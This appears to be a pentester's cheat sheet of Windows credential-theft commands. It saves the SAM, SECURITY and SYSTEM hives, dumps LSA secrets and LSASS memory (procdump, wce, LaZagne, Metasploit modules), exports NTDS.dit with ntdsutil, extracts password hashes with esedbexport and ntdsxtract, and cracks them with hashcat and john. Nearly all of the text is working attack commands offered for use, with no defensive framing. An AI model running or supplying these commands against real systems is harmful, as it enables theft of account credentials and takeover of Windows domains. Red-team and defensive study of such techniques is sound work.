https://github.com/CoreSecurity/impacket
- get LSA secret keys from reg
reg save hklm\sam c:\temp\sam.save
reg save hklm\security c:\temp\security.save
reg save hklm\system c:\temp\system.save
- dump with impacket
impacket-secretsdump -sam /root/sam.save -security /root/security.save -system /root/Desktop/system.save Local
- post/windows/gather/lsa_secrets
https://github.com/linuxmuster/lsaSecrets/blob/master/bin/lsaSecretRead.exe
lsaSecretRead.exe DefaultPassword
procdump.exe -accepteula -ma lsass.exe c:\windows\temp\lsass.dmp 2>&1
wce.exe -w
lazagne all
- metasploit module
post/windows/gather/credentials/gpp
- Export NTDS with ntdsutil
ntdsutil “ac i ntds” “ifm” “create full c:\temp” q q
- install esdbexport
sudo apt-get install autoconf automake autopoint libtool pkg-config
- Dump Tables
/usr/local/bin/esedbexport -m tables ntds.dit
-
install ntdsextract
- https://github.com/csababarta/ntdsxtract
- need datatable, link_table, system hive
dsusers.py <datatable> <link_table> <output_dir> --syshive <systemhive> --passwordhashes <format options>
format options is john, ocl ,ophc
- crack with hashcat , john
hashcat -m 1000 output/ntout --username /path/to/wordlist
john –rules=all –fork=2 NT.out